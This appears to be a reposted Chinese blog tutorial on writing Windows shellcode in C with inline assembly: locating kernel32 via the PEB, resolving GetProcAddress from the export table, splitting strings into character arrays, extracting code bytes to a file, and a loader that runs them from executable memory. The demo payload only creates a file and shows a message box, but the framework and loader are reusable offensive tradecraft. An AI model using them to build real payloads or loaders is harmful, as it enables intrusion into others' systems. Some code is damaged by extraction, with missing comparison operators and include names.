标签:alt c代码 函数实现 generic files flags 生成器 lsp 之间
Shellcode
是一段可注入的指令(opcode),可以在被攻击的程序内运行。
短小精悍,灵活多变,独立存在,无需任何文件格式的包装,因为shellcode直接操作寄存器和函数,所以opcode必须是16进制形式。因此也不能用高级语言编写shellcode。在内存中运行,无需运行在固定的宿主进程上。
将shellcode注入缓冲区,然后欺骗目标程序执行它。而将shellcode注入缓冲区最常用的方法是利用目标系统上的缓冲区溢出漏洞。
Shellcode生成方法
- 编程语言编写:汇编语言,C语言
- shellcode生成器
Shellcode编写原则
关闭VS自动优化没有使用到的变量
自定义函数入口
GetProAddress 从dll中获取函数的地址
参数1:调用dll的句柄,参数2:函数名
Bug:error C2760: 语法错误: 意外的令牌“标识符”,预期的令牌为“类型说明符”
打开项目工程-> 属性 -> c/c++ --> 语言 -> 符合模式 修改成否即可 如果这样设置将无法使用c函数。
这个比较关键,否则使用printf就直接崩溃或者是编译报错
最佳方案是:修改平台工具集
- 通过获得Kernel32基址来获取GetProcAddres基址
- 避免全局变量的使用
因为vs会将全局变量编译在其他区段中 结果就是一个绝对的地址不能使用static定义变量(变量放到内部函数使用)
编写shellcode前的准备
- 修改程序入口点:链接器-高级。作用:去除自动生成的多余的exe代码
- 关闭缓冲区安全检查,属性->C/C++ ->代码生成->安全检查禁用
- 设置工程兼容window XP :代码生成 ->运行库 选择 debug MTD release MT
- 清除资源:链接器->调试->清单文件
- 关闭调试功能
如下:
属性->常规->平台工具集 选择xp版本
C/C++->代码生成->运行库选择MT
安全检查禁用
链接器->高级->入口点修改为EntryMain
函数动态链接调用
在编写shellcode时,所有用到的函数都需要动态调用,通过LoadLibrary函数加载动态链接库,GetProAddress获取动态链接库中函数的地址。所以获取到GetProAddress和LoadLibrary地址时非常重要的。通过GetProAddress和LoadLibrary,可以获取到已加载的动态链接库的地址。
动态获取Kernel32.dll基址和GetProAddress 地址
在正常情况下,我们不知道LoadLibraryA的地址,所以不能直接使用该函数。GetProAddress是动态链接库Kernel32.dll中的函数。每个进程内部加载都会加载Kernel32.dll,获取到加载Kernel32.dll地址就可以获取到GetProAddress函数的地址。通过汇编内嵌获取到Kernel32的基址。获取到GetProAddress地址后,就可以获取到所有需要的函数的地址。
pE文件运行时加载的链接库
代码如下:
#include
#include //内嵌汇编获取Kernel32的地址
__declspec(naked) DWORD getKernel32()
{
__asm
{
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov eax,[eax+14h]
mov eax,[eax]
mov eax,[eax]
mov eax,[eax+10h]
ret
}
}
//通过kernel32基址获取GetProcAddress的地址
FARPROC _GetProcAddress(HMODULE hModuleBase)
{
PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size){
return NULL;
}
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
return NULL;
}
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
for (; dwLoop NumberOfNames - 1; dwLoop++) {
char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
if (pFunName[0] == ‘G‘&&
pFunName[1] == ‘e‘&&
pFunName[2] == ‘t‘&&
pFunName[3] == ‘P‘&&
pFunName[4] == ‘r‘&&
pFunName[5] == ‘o‘&&
pFunName[6] == ‘c‘&&
pFunName[7] == ‘A‘&&
pFunName[8] == ‘d‘&&
pFunName[9] == ‘d‘&&
pFunName[10] == ‘r‘&&
pFunName[11] == ‘e‘&&
pFunName[12] == ‘s‘&&
pFunName[13] == ‘s‘)
{
pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
break;
}
}
return pRet;
}
int main()
{
//kernel32.dll 基址的动态获取
HMODULE hLoadLibrary = LoadLibraryA("kernel32.dll");
//使用内嵌汇编来获取基址
HMODULE _hLoadLibrary = (HMODULE)getKernel32();
//效果是一样的
printf("LoadLibraryA动态获取的地址: 0x%x\n", hLoadLibrary);
printf("内嵌汇编获取的地址: 0x%x\n", _hLoadLibrary);
//声明定义,先转到到原函数定义,然后重新定义
typedef FARPROC(WINAPI *FN_GetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
FN_GetProcAddress fn_GetProcAddress;
fn_GetProcAddress = (FN_GetProcAddress)_GetProcAddress(_hLoadLibrary);
printf("动态获取GetProcAddress地址: 0x%x\n",fn_GetProcAddress);
printf("内置函数获取: 0x%x\n",GetProcAddress);
}
可以看到,动态获取的地址和系统函数获取的是一致的
Shellcode框架(一)
引用前面kernel32.dll和GetProcaddress的获取地址。对于每一个要引用的函数,通过查看定义来声明定义函数,通过GetProcaddress动态获取地址。
具体代码如下:
原C代码:
#include
#include
#include int EntryMain()
{
CreateFileA(“1.txt”, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
MessageBoxA(NULL, “hello world”, tip, MB_OK);
return 0;
}
Shellcode编写:
#include
#include
FARPROC getProcAddress(HMODULE hModuleBase);
DWORD getKernel32();
int EntryMain()
{
//声明定义GetProcAddress
typedef FARPROC(WINAPI *FN_GetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
//获取GetProcAddress真实地址
FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
//声明定义CreateFileA
typedef HANDLE(WINAPI *FN_CreateFileA)(
__in LPCSTR lpFileName,
__in DWORD dwDesiredAccess,
__in DWORD dwShareMode,
__in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__in DWORD dwCreationDisposition,
__in DWORD dwFlagsAndAttributes,
__in_opt HANDLE hTemplateFile
);
//将来的替换,地址全部动态获取
//FN_CreateFileA fn_CreateFileA = (FN_CreateFileA)GetProcAddress(LoadLibrary("kernel32.dll"), "CreateFileA");
//带引号的字符串打散处理
char xyCreateFile[] = { ‘C‘,‘r‘,‘e‘,‘a‘,‘t‘,‘e‘,‘F‘,‘i‘,‘l‘,‘e‘,‘A‘,0 };
//动态获取CreateFile的地址
FN_CreateFileA fn_CreateFileA = (FN_CreateFileA)fn_GetProcAddress((HMODULE)getKernel32(), xyCreateFile);
char xyNewFile[] = { ‘1‘,‘.‘,‘t‘,‘x‘,‘t‘,‘\0‘};
fn_CreateFileA(xyNewFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
//定义LoadLibraryA
typedef HMODULE(WINAPI *FN_LoadLibraryA)(
__in LPCSTR lpLibFileName
);
char xyLoadLibraryA[] = { ‘L‘,‘o‘,‘a‘,‘d‘,‘L‘,‘i‘,‘b‘,‘r‘,‘a‘,‘r‘,‘y‘,‘A‘,0};
//动态获取LoadLibraryA的地址
FN_LoadLibraryA fn_LoadLibraryA = (FN_LoadLibraryA)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryA);
//定义MessageBoxA
typedef int (WINAPI *FN_MessageBoxA)(
__in_opt HWND hWnd,
__in_opt LPCSTR lpText,
__in_opt LPCSTR lpCaption,
__in UINT uType);
//原来的:MessageBoxA(NULL, "Hello world", "tip", MB_OK);
char xy_user32[] = { ‘u‘,‘s‘,‘e‘,‘r‘,‘3‘,‘2‘,‘.‘,‘d‘,‘l‘,‘l‘,0 };
char xy_MessageBoxA[] = { ‘M‘,‘e‘,‘s‘,‘s‘,‘a‘,‘g‘,‘e‘,‘B‘,‘o‘,‘x‘,‘A‘,0 };
FN_MessageBoxA fn_MessageBoxA = (FN_MessageBoxA)fn_GetProcAddress(fn_LoadLibraryA(xy_user32), xy_MessageBoxA);
char xy_Hello[] = { ‘H‘,‘e‘,‘l‘,‘l‘,‘o‘,‘ ‘,‘w‘,‘o‘,‘r‘,‘l‘,‘d‘,0 };
char xy_tip[] = { ‘t‘,‘i‘,‘p‘ };
fn_MessageBoxA(NULL, xy_Hello, xy_tip, MB_OK);
return 0;
}
//内嵌汇编获取Kernel32的地址
__declspec(naked) DWORD getKernel32()
{
__asm
{
mov eax, fs:[30h]
mov eax, [eax + 0ch]
mov eax, [eax + 14h]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 10h]
ret
}
}
//获取GetProcAddress的地址
FARPROC getProcAddress(HMODULE hModuleBase)
{
PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {
return NULL;
}
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
return NULL;
}
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
for (; dwLoop NumberOfNames - 1; dwLoop++) {
char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
if (pFunName[0] == ‘G‘&&
pFunName[1] == ‘e‘&&
pFunName[2] == ‘t‘&&
pFunName[3] == ‘P‘&&
pFunName[4] == ‘r‘&&
pFunName[5] == ‘o‘&&
pFunName[6] == ‘c‘&&
pFunName[7] == ‘A‘&&
pFunName[8] == ‘d‘&&
pFunName[9] == ‘d‘&&
pFunName[10] == ‘r‘&&
pFunName[11] == ‘e‘&&
pFunName[12] == ‘s‘&&
pFunName[13] == ‘s‘)
{
pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
break;
}
}
return pRet;
}
结果:运行exe文件创建了1.txt文件,并出现弹框。
函数生成的位置规律
- 单文件函数生成的位置规律
规律:单文件函数的生成规律,与函数实现的先后顺序有关,而与函数的定义顺序无关。
例如:
#include
#includeint FuncA(int a, int b)
{
puts("AAAA");
return a + b;
}
int FuncB(int a, int b)
{
puts("BBB");
return a + b;
}
int main()
{
FuncA(1, 2);
FuncB(2, 3);
return 0;
}
结果:在IDA中看到生成的exe文件中的函数顺序为FuncA,FuncB,main,与函数实现的先后顺序有关。通过函数的位置,可以得到两个函数之间的空间大小。
2.多文件函数生成的位置规律
规律:与包含文件的位置无关,与实际调用的顺序有关
//A.h
#includevoid A()
{
puts("AAA");
}
//B.h
#includevoid B()
{
puts("BBB");
}
//main
#include"A.h"
#include"B.h"
int main()
{
A();
B();
return 0;
}
结果:
工程下的后缀名为vcxproj文件
修改顺序
可以看到生成的顺序发生了改变
Shellcode框架(二)
Shellcode代码执行过程
ShellcodeStart-> ShellcodeEntry-> ShellcodeEnd
工程文件:
api.h文件:存放定义的的函数
header.h文件:存放定义的功能函数
0.entry.cpp文件:shellcode的入口点
a.start.cpp文件:shellcode执行(实现逻辑功能)
b.work.cpp文件:存放具体功能实现
z.end.cpp文件:shellcode结束
a.start.cpp文件和b.work.cpp文件分别管理逻辑功能和具体实现,更方便管理。
生成的文件顺序:
代码:
api.h
#pragma once
#include//声明定义GetProcAddress
typedef FARPROC(WINAPI *FN_GetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
//定义LoadLibraryA
typedef HMODULE(WINAPI *FN_LoadLibraryA)(
__in LPCSTR lpLibFileName
);
//定义MessageBoxA
typedef int (WINAPI *FN_MessageBoxA)(
__in_opt HWND hWnd,
__in_opt LPCSTR lpText,
__in_opt LPCSTR lpCaption,
__in UINT uType);
//定义CreateFileA
typedef HANDLE(WINAPI *FN_CreateFileA)(
__in LPCSTR lpFileName,
__in DWORD dwDesiredAccess,
__in DWORD dwShareMode,
__in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__in DWORD dwCreationDisposition,
__in DWORD dwFlagsAndAttributes,
__in_opt HANDLE hTemplateFile
);
//定义一个指针
typedef struct _FUNCTIONS
{
FN_GetProcAddress fn_GetProcAddress;
FN_LoadLibraryA fn_LoadLibraryA;
FN_MessageBoxA fn_MessageBoxA;
FN_CreateFileA fn_CreateFileA;
}FUNCTIONS,*PFUNCTIONS;
header.h
#pragma once
#include
#include
#include"api.h"
void ShellcodeStart();
void ShellcodeEntry();
void ShellcodeEnd();
void CreateShellcode();
void InitFunctions(PFUNCTIONS pFn);
void CreateConfigFile(PFUNCTIONS pFn);
0.entry.cpp
#include "header.h"
int EntryMain()
{
CreateShellcode();
return 0;
}
void CreateShellcode()
{
HMODULE hMsvcrt = LoadLibraryA("msvcrt.dll");
//定义printf
typedef int (__CRTDECL *FN_printf)(
_In_z_ _Printf_format_string_ char const* const _Format,
...);
FN_printf fn_printf = (FN_printf)GetProcAddress(hMsvcrt,"printf");
HANDLE hBin = CreateFileA("sh.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hBin == INVALID_HANDLE_VALUE)
{
//这里不能使用printf函数,因为修改了函数入口,找不到printf的地址,所有需要动态调用printf函数
//printf("create file error:%d\n", GetLastError());
fn_printf("create file error:%d\n", GetLastError());
return ;
}
DWORD dwSize = (DWORD)ShellcodeEnd - (DWORD)ShellcodeStart;
DWORD dwWrite;
WriteFile(hBin, ShellcodeStart, dwSize, &dwWrite, NULL);
CloseHandle(hBin);
}
a.start.cpp文件
#include "header.h"
#include "api.h"
__declspec(naked) void ShellcodeStart()
{
__asm
{
jmp ShellcodeEntry
}
}
//内嵌汇编获取Kernel32的地址
__declspec(naked) DWORD getKernel32()
{
__asm
{
mov eax, fs:[30h];
test eax, eax;
js finished;
mov eax, [eax + 0ch];
mov eax, [eax + 14h];
mov eax, [eax];
mov eax, [eax]
mov eax, [eax + 10h]
finished:
ret
}
}
//获取GetProcAddress的地址
FARPROC getProcAddress(HMODULE hModuleBase)
{
PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {
return NULL;
}
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
return NULL;
}
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
for (; dwLoop NumberOfNames - 1; dwLoop++) {
char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
if (pFunName[0] == ‘G‘&&
pFunName[1] == ‘e‘&&
pFunName[2] == ‘t‘&&
pFunName[3] == ‘P‘&&
pFunName[4] == ‘r‘&&
pFunName[5] == ‘o‘&&
pFunName[6] == ‘c‘&&
pFunName[7] == ‘A‘&&
pFunName[8] == ‘d‘&&
pFunName[9] == ‘d‘&&
pFunName[10] == ‘r‘&&
pFunName[11] == ‘e‘&&
pFunName[12] == ‘s‘&&
pFunName[13] == ‘s‘)
{
pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
break;
}
}
return pRet;
}
//动态调用地址
void InitFunctions(PFUNCTIONS pFn)
{
//获取GetProcAddress真实地址
pFn->fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
//动态获取LoadLibraryA的地址
char xyLoadLibraryA[] = { ‘L‘,‘o‘,‘a‘,‘d‘,‘L‘,‘i‘,‘b‘,‘r‘,‘a‘,‘r‘,‘y‘,‘A‘,0 };
pFn->fn_LoadLibraryA = (FN_LoadLibraryA)pFn->fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryA);
//动态获取MessageBoxA的地址
char xy_user32[] = { ‘u‘,‘s‘,‘e‘,‘r‘,‘3‘,‘2‘,‘.‘,‘d‘,‘l‘,‘l‘,0 };
char xy_MessageBoxA[] = { ‘M‘,‘e‘,‘s‘,‘s‘,‘a‘,‘g‘,‘e‘,‘B‘,‘o‘,‘x‘,‘A‘,0 };
pFn->fn_MessageBoxA = (FN_MessageBoxA)pFn->fn_GetProcAddress(pFn->fn_LoadLibraryA(xy_user32), xy_MessageBoxA);
//动态获取CreateFile的地址
char xyCreateFile[] = { ‘C‘,‘r‘,‘e‘,‘a‘,‘t‘,‘F‘,‘i‘,‘l‘,‘e‘,‘A‘,0 };
pFn->fn_CreateFileA = (FN_CreateFileA)pFn->fn_GetProcAddress((HMODULE)getKernel32(), xyCreateFile);
}
//入口点
void ShellcodeEntry()
{
char xy_Hello[] = { ‘H‘,‘e‘,‘l‘,‘l‘,‘o‘,‘ ‘,‘w‘,‘o‘,‘r‘,‘l‘,‘d‘,0 };
char xy_tip[] = { ‘t‘,‘i‘,‘p‘ };
FUNCTIONS fn;
InitFunctions(&fn);
CreateConfigFile(&fn);
}
b.work.cpp
#include"api.h"
#include//存放功能
void CreateConfigFile(PFUNCTIONS pFn)
{
char xyNewFile[] = { ‘1‘,‘.‘,‘t‘,‘x‘,‘t‘,‘\0‘ };
pFn->fn_CreateFileA(xyNewFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
}
z.end.cpp
#include "header.h"
void ShellcodeEnd()
{
}
Shellcode加载器
用来运行提取出来的shellcode代码,保存在sh.bin文件,将sb.bin文件拖入加载器,即可执行。
#include
#includeint main(int argc,char* argv[])
{
//打开文件
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Oen file error:%d\n", GetLastError);
return -1;
}
DWORD dwSize;
dwSize = GetFileSize(hFile, NULL);
LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//内存分配是否成功
if (lpAddress ==NULL)
{
printf("VirtualAlloc error:%d\n", GetLastError);
CloseHandle(hFile);
return -1;
}
DWORD dwRead;
ReadFile(hFile,lpAddress,dwSize,&dwRead, 0);
//内嵌汇编
__asm
{
call lpAddress
}
_flushall();
system("pause");
return 0;
}
Window中的shellcode编写框架(入门篇)
标签:alt c代码 函数实现 generic files flags 生成器 lsp 之间
原文地址:https://www.cnblogs.com/thresh/p/12609659.html